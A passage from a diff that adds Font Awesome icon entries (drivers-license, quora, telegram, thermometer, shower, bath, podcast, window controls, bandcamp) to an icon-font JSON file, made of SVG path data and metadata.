219.429h1024v-54.857c0-10.286-8-18.286-18.286-18.286h-987.429c-10.286 0-18.286 8-18.286 18.286v54.857zM1170.286 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-987.429c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h987.429c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "drivers-license", + "id-card" + ], + "defaultCode": 62146, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "drivers-license, id-card", + "id": 646, + "order": 1502, + "prevSize": 28, + "code": 62146 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 646 + }, + { + "icon": { + "paths": [ + "M512 692.571c0 41.714-27.429 75.429-61.143 75.429h-243.429c-33.714 0-61.143-33.714-61.143-75.429 0-75.429 18.286-162.286 93.714-162.286 22.857 22.857 54.286 36.571 89.143 36.571s66.286-13.714 89.143-36.571c75.429 0 93.714 86.857 93.714 162.286zM438.857 438.857c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM1024 676.571v36.571c0 10.286-8 18.286-18.286 18.286h-402.286c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h402.286c10.286 0 18.286 8 18.286 18.286zM804.571 530.286v36.571c0 10.286-8 18.286-18.286 18.286h-182.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h182.857c10.286 0 18.286 8 18.286 18.286zM1024 530.286v36.571c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM1024 384v36.571c0 10.286-8 18.286-18.286 18.286h-402.286c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h402.286c10.286 0 18.286 8 18.286 18.286zM1097.143 859.429v-640h-1024v640c0 9.714 8.571 18.286 18.286 18.286h987.429c9.714 0 18.286-8.571 18.286-18.286zM1170.286 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-987.429c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h987.429c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "drivers-license-o", + "id-card-o" + ], + "defaultCode": 62147, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "drivers-license-o, id-card-o", + "id": 647, + "order": 1503, + "prevSize": 28, + "code": 62147 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 647 + }, + { + "icon": { + "paths": [ + "M717.143 449.714c0-238.286-74.286-360.571-248.571-360.571-171.429 0-245.714 122.286-245.714 360.571 0 237.143 74.286 358.286 245.714 358.286 27.429 0 52-2.857 74.857-9.714v0c-35.429-69.714-77.143-140-158.286-140-15.429 0-30.857 2.286-45.143 9.143l-28-55.429c33.714-29.143 88-52 157.714-52 109.143 0 164.571 52.571 209.143 119.429 25.714-57.143 38.286-134.286 38.286-229.714zM940 810.857h66.857c4 41.143-16.571 213.143-203.429 213.143-113.143 0-172.571-65.714-217.714-142.286v0c-37.143 10.286-77.143 15.429-117.143 15.429-228.571 0-452-182.286-452-447.429 0-267.429 224-449.714 452-449.714 232.571 0 453.714 181.143 453.714 449.714 0 149.714-69.714 271.429-170.857 349.714 32.571 49.143 66.286 81.714 113.143 81.714 51.429 0 72-39.429 75.429-70.286z" + ], + "width": 1027.4377142857143, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "quora" + ], + "defaultCode": 62148, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "quora", + "id": 648, + "order": 1504, + "prevSize": 28, + "code": 62148 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 648 + }, + { + "icon": { + "paths": [ + "M258.857 935.429c0 16-14.286 30.857-30.286 30.857-2.286 0-5.143-1.143-7.429-1.714v0c-32-7.429-73.143-55.429-92.571-80-89.143-112.571-128.571-244-128.571-386.286 0-132.571 40-246.286 121.714-350.857 18.857-24.571 74.857-89.143 108-89.143 14.286 0 29.143 11.429 29.143 26.286 0 17.143-25.143 40.571-36 51.429-31.429 32.571-60.571 65.714-84 105.143-48.571 81.143-68 162.286-68 256.571 0 101.143 18.857 192.571 70.286 280.571 21.714 37.143 47.429 68 77.714 98.857 12 13.143 40 38.857 40 58.286zM1026.286 858.857c0 21.143-14.286 38.857-36.571 38.857h-617.714c-20 0-36.571-16.571-36.571-36.571 0-21.143 14.286-38.857 36.571-38.857h617.714c20 0 36.571 16.571 36.571 36.571zM903.429 509.714c0 48-10.857 92.571-38.286 133.143-18.857 28-57.143 64-87.429 79.429-4.571 2.857-10.286 5.714-15.429 5.714-4.571 0-13.143-5.143-13.143-10.286 0-16.571 69.714-56 69.714-132.571 0-25.143-6.286-53.143-20-74.286-4-5.714-18.286-24-26.286-24-1.714 0-1.714 1.143-1.714 2.857 0 13.714 8.571 26.857 8.571 41.143 0 18.286-22.286 27.429-37.714 27.429-26.857 0-37.714-18.857-37.714-43.429 0-16.571 1.714-33.714 1.714-50.286 0-12-0.571-15.429-5.714-26.286-8-15.429-34.286-46.857-53.143-46.857-5.143 0-6.857 0-6.857 5.143 0 8 18.286 16.571 18.286 45.714 0 76-104.571 89.714-104.571 165.714 0 34.286 4.571 62.857 24 91.429 12 17.714 25.143 28 45.143 36 5.143 1.714 10.286 2.286 10.286 8.571s-5.143 9.143-10.286 9.143c-2.857 0-16-5.143-18.857-6.286v0c-88-32-154.857-108.571-154.857-204.571 0-113.714 136.571-213.143 136.571-322.286 0-21.143-3.429-36-14.286-53.714-6.286-10.286-21.714-30.286-32-36.571-4.571-2.286-10.857-6.286-10.857-12 0-9.714 16.571-11.429 23.429-11.429 20.571 0 44 7.429 62.857 16.571 79.429 37.714 96 95.429 109.714 175.429 3.429 18.857 10.286 78.857 37.714 78.857 17.714 0 29.143-12 29.143-29.143 0-25.714-22.857-53.714-22.857-68 0-4 2.286-5.714 5.714-5.714 14.286 0 44 30.286 53.143 40 55.429 58.857 76 116 76 195.429zM1316.571 526.286c0 100.571-26.857 201.143-78.857 287.429-24 40-102.857 152-154.857 152-12 0-26.286-14.857-26.286-26.857 0-19.429 66.857-81.714 83.429-102.857 70.857-89.143 104.571-189.714 104.571-303.429 0-93.714-11.429-169.714-53.143-254.857-25.714-52.571-52.571-88-93.143-130.286-13.143-13.714-41.714-39.429-41.714-60 0-14.286 14.857-29.714 29.143-29.714 37.714 0 92 69.714 112 96.571 76.571 102.857 109.143 208.571 117.714 335.429 0.571 12 1.143 24.571 1.143 36.571z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "free-code-camp" + ], + "defaultCode": 62149, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "free-code-camp", + "id": 649, + "order": 1505, + "prevSize": 28, + "code": 62149 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 649 + }, + { + "icon": { + "paths": [ + "M679.429 746.857l84-396c7.429-34.857-12.571-48.571-35.429-40l-493.714 190.286c-33.714 13.143-33.143 32-5.714 40.571l126.286 39.429 293.143-184.571c13.714-9.143 26.286-4 16 5.143l-237.143 214.286-9.143 130.286c13.143 0 18.857-5.714 25.714-12.571l61.714-59.429 128 94.286c23.429 13.143 40 6.286 46.286-21.714zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "telegram" + ], + "defaultCode": 62150, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "telegram", + "id": 650, + "order": 1506, + "prevSize": 28, + "code": 62150 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 650 + }, + { + "icon": { + "paths": [ + "M365.714 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714c0-45.714 28.571-87.429 73.143-103.429v-518.286h73.143v518.286c44.571 16 73.143 57.714 73.143 103.429zM438.857 768c0-60-28.571-112.571-73.143-146.286v-438.857c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714v438.857c-44.571 33.714-73.143 86.286-73.143 146.286 0 101.143 81.714 182.857 182.857 182.857s182.857-81.714 182.857-182.857zM512 768c0 141.143-114.857 256-256 256s-256-114.857-256-256c0-69.714 28-132.571 73.143-178.857v-406.286c0-101.143 81.714-182.857 182.857-182.857s182.857 81.714 182.857 182.857v406.286c45.143 46.286 73.143 109.143 73.143 178.857zM585.143 438.857v73.143h-109.714v-73.143h109.714zM585.143 292.571v73.143h-109.714v-73.143h109.714zM585.143 146.286v73.143h-109.714v-73.143h109.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thermometer", + "thermometer-4", + "thermometer-full" + ], + "defaultCode": 62151, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thermometer, thermometer-4, thermometer-full", + "id": 651, + "order": 1507, + "prevSize": 28, + "code": 62151 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 651 + }, + { + "icon": { + "paths": [ + "M365.714 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714c0-45.714 28.571-87.429 73.143-103.429v-372h73.143v372c44.571 16 73.143 57.714 73.143 103.429zM438.857 768c0-60-28.571-112.571-73.143-146.286v-438.857c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714v438.857c-44.571 33.714-73.143 86.286-73.143 146.286 0 101.143 81.714 182.857 182.857 182.857s182.857-81.714 182.857-182.857zM512 768c0 141.143-114.857 256-256 256s-256-114.857-256-256c0-69.714 28-132.571 73.143-178.857v-406.286c0-101.143 81.714-182.857 182.857-182.857s182.857 81.714 182.857 182.857v406.286c45.143 46.286 73.143 109.143 73.143 178.857zM585.143 438.857v73.143h-109.714v-73.143h109.714zM585.143 292.571v73.143h-109.714v-73.143h109.714zM585.143 146.286v73.143h-109.714v-73.143h109.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thermometer-3", + "thermometer-three-quarters" + ], + "defaultCode": 62152, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thermometer-3, thermometer-three-quarters", + "id": 652, + "order": 1508, + "prevSize": 28, + "code": 62152 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 652 + }, + { + "icon": { + "paths": [ + "M365.714 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714c0-45.714 28.571-87.429 73.143-103.429v-225.714h73.143v225.714c44.571 16 73.143 57.714 73.143 103.429zM438.857 768c0-60-28.571-112.571-73.143-146.286v-438.857c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714v438.857c-44.571 33.714-73.143 86.286-73.143 146.286 0 101.143 81.714 182.857 182.857 182.857s182.857-81.714 182.857-182.857zM512 768c0 141.143-114.857 256-256 256s-256-114.857-256-256c0-69.714 28-132.571 73.143-178.857v-406.286c0-101.143 81.714-182.857 182.857-182.857s182.857 81.714 182.857 182.857v406.286c45.143 46.286 73.143 109.143 73.143 178.857zM585.143 438.857v73.143h-109.714v-73.143h109.714zM585.143 292.571v73.143h-109.714v-73.143h109.714zM585.143 146.286v73.143h-109.714v-73.143h109.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thermometer-2", + "thermometer-half" + ], + "defaultCode": 62153, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thermometer-2, thermometer-half", + "id": 653, + "order": 1509, + "prevSize": 28, + "code": 62153 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 653 + }, + { + "icon": { + "paths": [ + "M365.714 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714c0-45.714 28.571-87.429 73.143-103.429v-79.429h73.143v79.429c44.571 16 73.143 57.714 73.143 103.429zM438.857 768c0-60-28.571-112.571-73.143-146.286v-438.857c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714v438.857c-44.571 33.714-73.143 86.286-73.143 146.286 0 101.143 81.714 182.857 182.857 182.857s182.857-81.714 182.857-182.857zM512 768c0 141.143-114.857 256-256 256s-256-114.857-256-256c0-69.714 28-132.571 73.143-178.857v-406.286c0-101.143 81.714-182.857 182.857-182.857s182.857 81.714 182.857 182.857v406.286c45.143 46.286 73.143 109.143 73.143 178.857zM585.143 438.857v73.143h-109.714v-73.143h109.714zM585.143 292.571v73.143h-109.714v-73.143h109.714zM585.143 146.286v73.143h-109.714v-73.143h109.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thermometer-1", + "thermometer-quarter" + ], + "defaultCode": 62154, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thermometer-1, thermometer-quarter", + "id": 654, + "order": 1510, + "prevSize": 28, + "code": 62154 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 654 + }, + { + "icon": { + "paths": [ + "M365.714 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714c0-60 48.571-109.714 109.714-109.714s109.714 50.286 109.714 109.714zM438.857 768c0-60-28.571-112.571-73.143-146.286v-438.857c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714v438.857c-44.571 33.714-73.143 86.286-73.143 146.286 0 101.143 81.714 182.857 182.857 182.857s182.857-81.714 182.857-182.857zM512 768c0 141.143-114.857 256-256 256s-256-114.857-256-256c0-69.714 28-132.571 73.143-178.857v-406.286c0-101.143 81.714-182.857 182.857-182.857s182.857 81.714 182.857 182.857v406.286c45.143 46.286 73.143 109.143 73.143 178.857zM585.143 438.857v73.143h-109.714v-73.143h109.714zM585.143 292.571v73.143h-109.714v-73.143h109.714zM585.143 146.286v73.143h-109.714v-73.143h109.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thermometer-0", + "thermometer-empty" + ], + "defaultCode": 62155, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thermometer-0, thermometer-empty", + "id": 655, + "order": 1511, + "prevSize": 28, + "code": 62155 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 655 + }, + { + "icon": { + "paths": [ + "M818.857 142.286c7.429 7.429 7.429 18.857 0 26.286l-357.714 357.714c-7.429 7.429-18.857 7.429-26.286 0l-46.857-46.857c-7.429-7.429-7.429-18.857 0-26.286l25.143-25.143c-55.429-69.714-62.286-165.143-20-241.143-26.286-25.143-61.714-40.571-100.571-40.571-80.571 0-146.286 65.714-146.286 146.286v731.429h-146.286v-731.429c0-161.143 131.429-292.571 292.571-292.571 82.286 0 156.571 34.286 209.714 89.143 72-29.143 155.429-18.286 218.286 31.429l25.143-25.143c7.429-7.429 18.857-7.429 26.286 0zM768 292.571c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM914.286 365.714c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571-16.571 36.571-36.571 36.571zM1060.571 292.571c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM694.857 365.714c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM804.571 402.286c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571zM987.429 365.714c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM621.714 438.857c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM768 512c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571-16.571 36.571-36.571 36.571zM914.286 438.857c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM694.857 585.143c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571-16.571 36.571-36.571 36.571zM841.143 512c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM621.714 585.143c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM768 585.143c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM694.857 658.286c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM621.714 731.429c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shower" + ], + "defaultCode": 62156, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "shower", + "id": 656, + "order": 1512, + "prevSize": 28, + "code": 62156 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 656 + }, + { + "icon": { + "paths": [ + "M950.857 621.714v109.714c0 65.143-28.571 122.857-73.143 163.429v110.857c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-67.429c-22.857 8-47.429 12.571-73.143 12.571h-438.857c-25.714 0-50.286-4.571-73.143-12.571v62.857c0 12.571-8 22.857-18.286 22.857h-36.571c-10.286 0-18.286-10.286-18.286-22.857v-106.286c-44.571-40.571-73.143-98.286-73.143-163.429v-109.714h877.714zM402.286 384c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM438.857 347.429c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM402.286 310.857c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM475.429 310.857c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM438.857 274.286c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM402.286 237.714c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM1024 530.286v36.571c0 10.286-8 18.286-18.286 18.286h-987.429c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857v-365.714c0-80.571 65.714-146.286 146.286-146.286 41.143 0 78.286 17.143 105.143 44.571 35.429-14.286 77.714-9.143 109.143 15.429l12.571-12.571c3.429-3.429 9.143-3.429 12.571 0l24 24c3.429 3.429 3.429 9.143 0 12.571l-179.429 179.429c-3.429 3.429-9.143 3.429-12.571 0l-24-24c-3.429-3.429-3.429-9.143 0-12.571l12.571-12.571c-27.429-34.857-30.857-82.857-9.714-121.143-13.143-12.571-30.857-20-50.286-20-40.571 0-73.143 32.571-73.143 73.143v365.714h859.429c10.286 0 18.286 8 18.286 18.286zM512 274.286c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM475.429 237.714c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM438.857 201.143c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM548.571 237.714c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM512 201.143c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM475.429 164.571c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM585.143 201.143c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM548.571 164.571c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286zM621.714 164.571c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286 8-18.286 18.286-18.286 18.286 8 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bath", + "bathtub", + "s15" + ], + "defaultCode": 62157, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bath, bathtub, s15", + "id": 657, + "order": 1513, + "prevSize": 28, + "code": 62157 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 657 + }, + { + "icon": { + "paths": [ + "M568 681.143c0 37.714-4 75.429-9.714 112.571-8.571 59.429-17.143 120.571-31.429 178.857-10.286 41.714-49.143 51.429-86.857 51.429s-76.571-9.714-86.857-51.429c-14.286-58.286-22.857-119.429-31.429-178.857-5.714-37.143-9.714-74.857-9.714-112.571 0-77.143 62.286-96 128-96s128 18.857 128 96zM877.714 438.857c0 185.143-114.286 343.429-276.571 408-6.286 2.286-13.143-3.429-12-10.286 1.714-12 3.429-24.571 5.714-37.714 1.143-9.143 2.286-18.286 3.429-26.857 0.571-3.429 2.286-5.714 5.143-6.857 118.857-60.571 201.143-184 201.143-326.286 0-208.571-174.857-376.571-385.714-365.143-193.143 10.286-346.857 174.857-345.714 368 1.143 142.286 84 265.143 203.429 324.571 2.857 1.143 4.571 4 5.143 6.857 1.143 8 2.286 16.571 3.429 25.714 2.286 13.714 4 26.286 6.286 38.857 1.143 6.857-6.286 12.571-12.571 9.714-169.714-66.286-288-235.429-278.286-430.286 10.857-221.143 189.143-402.286 410.286-416 254.857-16 466.857 186.286 466.857 437.714zM568 420.571c0 70.857-57.143 128-128 128s-128-57.143-128-128 57.143-128 128-128 128 57.143 128 128zM732.571 438.857c0 94.286-45.143 178.857-114.286 232-5.714 4.571-13.714 0.571-14.857-6.857-1.714-16-6.286-34.857-16.571-52.571-2.286-3.429-1.714-8 1.714-11.429 43.429-40 70.857-97.143 70.857-161.143 0-129.143-112.571-232.571-244.571-218.286-101.143 11.429-183.429 94.857-193.143 196.571-7.429 72 21.143 138.286 69.714 182.857 3.429 3.429 4 8 1.714 11.429-10.286 17.714-14.857 36.571-16.571 53.143-1.143 6.857-9.143 10.857-14.857 6.286-70.857-54.857-116-141.143-114.286-238.286 3.429-152 126.857-278.857 278.286-285.714 168-8 306.857 125.714 306.857 292z" + ], + "width": 868.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "podcast" + ], + "defaultCode": 62158, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "podcast", + "id": 658, + "order": 1514, + "prevSize": 28, + "code": 62158 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 658 + }, + { + "icon": { + "paths": [ + "M146.286 804.571h731.429v-438.857h-731.429v438.857zM1024 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h841.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "window-maximize" + ], + "defaultCode": 62160, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "window-maximize", + "id": 659, + "order": 1515, + "prevSize": 28, + "code": 62160 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 659 + }, + { + "icon": { + "paths": [ + "M1024 749.714v109.714c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-109.714c0-50.286 41.143-91.429 91.429-91.429h841.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "window-minimize" + ], + "defaultCode": 62161, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "window-minimize", + "id": 660, + "order": 1516, + "prevSize": 28, + "code": 62161 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 660 + }, + { + "icon": { + "paths": [ + "M146.286 877.714h438.857v-292.571h-438.857v292.571zM731.429 585.143h292.571v-438.857h-438.857v146.286h54.857c50.286 0 91.429 41.143 91.429 91.429v201.143zM1170.286 91.429v548.571c0 50.286-41.143 91.429-91.429 91.429h-347.429v201.143c0 50.286-41.143 91.429-91.429 91.429h-548.571c-50.286 0-91.429-41.143-91.429-91.429v-548.571c0-50.286 41.143-91.429 91.429-91.429h347.429v-201.143c0-50.286 41.143-91.429 91.429-91.429h548.571c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "window-restore" + ], + "defaultCode": 62162, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "window-restore", + "id": 661, + "order": 1517, + "prevSize": 28, + "code": 62162 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 661 + }, + { + "icon": { + "paths": [ + "M671.429 754.857l83.429-83.429c7.429-7.429 7.429-18.857 0-26.286l-133.143-133.143 133.143-133.143c7.429-7.429 7.429-18.857 0-26.286l-83.429-83.429c-7.429-7.429-18.857-7.429-26.286 0l-133.143 133.143-133.143-133.143c-7.429-7.429-18.857-7.429-26.286 0l-83.429 83.429c-7.429 7.429-7.429 18.857 0 26.286l133.143 133.143-133.143 133.143c-7.429 7.429-7.429 18.857 0 26.286l83.429 83.429c7.429 7.429 18.857 7.429 26.286 0l133.143-133.143 133.143 133.143c7.429 7.429 18.857 7.429 26.286 0zM1024 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h841.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "times-rectangle", + "window-close" + ], + "defaultCode": 62163, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "times-rectangle, window-close", + "id": 662, + "order": 1518, + "prevSize": 28, + "code": 62163 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 662 + }, + { + "icon": { + "paths": [ + "M718.286 634.857l-83.429 83.429c-7.429 7.429-18.857 7.429-26.286 0l-96.571-96.571-96.571 96.571c-7.429 7.429-18.857 7.429-26.286 0l-83.429-83.429c-7.429-7.429-7.429-18.857 0-26.286l96.571-96.571-96.571-96.571c-7.429-7.429-7.429-18.857 0-26.286l83.429-83.429c7.429-7.429 18.857-7.429 26.286 0l96.571 96.571 96.571-96.571c7.429-7.429 18.857-7.429 26.286 0l83.429 83.429c7.429 7.429 7.429 18.857 0 26.286l-96.571 96.571 96.571 96.571c7.429 7.429 7.429 18.857 0 26.286zM146.286 804.571h731.429v-585.143h-731.429v585.143zM1024 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h841.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "times-rectangle-o", + "window-close-o" + ], + "defaultCode": 62164, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "times-rectangle-o, window-close-o", + "id": 663, + "order": 1519, + "prevSize": 28, + "code": 62164 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 663 + }, + { + "icon": { + "paths": [ + "M611.429 673.143l174.857-322.286h-373.714l-174.857 322.286h373.714zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bandcamp" + ], + "defaultCode": 62165, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bandcamp", + "id": 664, + "order": 1520, + "prevSize": 28, + "code": 62165 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 664 + }, + { + "icon": { + "paths": [ + "M737.714 272c-18.286-20.571-48 14.286-32 33.143 15.429 18.857 66.286 5.143 32-33.143zM511.429 412.571c-6.286 6.286-16 6.286-21.714 0-6.286-5.714-6.286-15.429 0-21.143 5.714-6.286 15.429-6.286 21.714 0 5.714 5.714 5.714 15.429 0 21.143zM605.714 454.857l-20 20c-9.143 9.714-24.571 9.714-34.286 0l-21.714-21.714c-9.143-9.714-9.143-24.571 0-34.286l20-20c9.143-9.143 24.571-9.143 34.286 0l21.714 22.286c9.143 9.143 9.143 24.571 0 33.714zM543.429 380.571c-5.714 5.714-15.429 5.714-21.714 0-5.714-6.286-5.714-16 0-21.714 6.286-6.286 